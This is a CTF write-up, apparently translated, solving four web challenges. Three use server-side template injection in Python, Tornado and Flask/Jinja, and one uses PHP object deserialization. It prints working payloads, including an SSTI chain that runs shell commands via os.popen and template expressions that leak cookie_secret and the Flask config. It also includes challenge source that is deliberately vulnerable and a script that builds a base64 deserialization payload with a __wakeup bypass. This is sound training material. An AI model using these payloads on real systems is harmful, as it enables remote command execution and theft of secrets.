Web_python_template_injection
The question directly tells that it is SSTI:
Attempt to inject:
7*8 is executed, and there is indeed injection.
At present, the learning of SSTI is still in the beginning, the payload is borrowed from the masters:
[template injection] SSTI command to execute payload analysis
Command execution payload:
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()
Cat it to get the flag.
easytornado
Open the three txts of the title and open them separately:
Here again I learned about the injection of the Tornado framework.
We directly access /fllllllllllllag according to the content of flag.txt to jump to this page:
At the same time, we find that the msg parameter can be displayed, try it:
SSTI does exist, but how to use it.
Given in hint.txt:
md5(cookie_secret+md5(filename))
There is another parameter filehash in the url, which seems to be linked with hint.
Then the next step is to get cookie_secret.
Later I learned:
cookie_secret is in the settings attribute of the Application object.
The handler points to the RequestHandler object that processes the current page. RequestHandler.settings points to self.application.settings, so handler.settings points to RequestHandler.application.settings.
A series of things that I don’t understand.
In short, get cookie_secret, payload:
/error?msg={
{
handler.settings}}
Then calculate, pass in the value, and get the flag.
shrine
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{
{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
Open it directly is the code of the flask framework, there are two routes here:
/
/shrine/
Then () was filtered
payload:
{
{
url_for.__globals__['current_app'].config}}
Summarize these three SSTIs:
It's too good, I don't know anything, I will try my best to understand SSTI later.
Web_php_unserialize
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
Deserialize the problem and analyze the code.
The constructor __construct() assigns initial values to variables at the beginning of program execution.
The destructor __destruct() will be automatically called after the execution of the function where the object is located.
Before deserialization is executed, the magic method __wakeup will be executed first
Use __destruct() to display fl4g.php and bypass __wakeup. When the number of member attributes is greater than the actual number, the wakeup method can be bypassed.
Regular bypass, use + bypass.
During the use of the private object, the format is:
%00 class name %00 variable name (%00 occupies one digit length)
So, construct the payload:
O:+4:"Demo":2:{
s:10:" Demo file";s:8:"fl4g.php";}
The value is also base64-encrypted here, but when using some base64-encrypted websites, %00 will be lost, so it is better to use some scripts for encryption here.
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$A = new Demo('fl4g.php');
$C = serialize($A);
//string(49) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
$C = str_replace('O:4', 'O:+4',$C);//绕过preg_match
$C = str_replace(':1:', ':2:',$C);//绕过wakeup
var_dump($C);
//string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"
var_dump(base64_encode($C));
//string(68) "TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ=="
?>
It should be noted that the %00 is missing.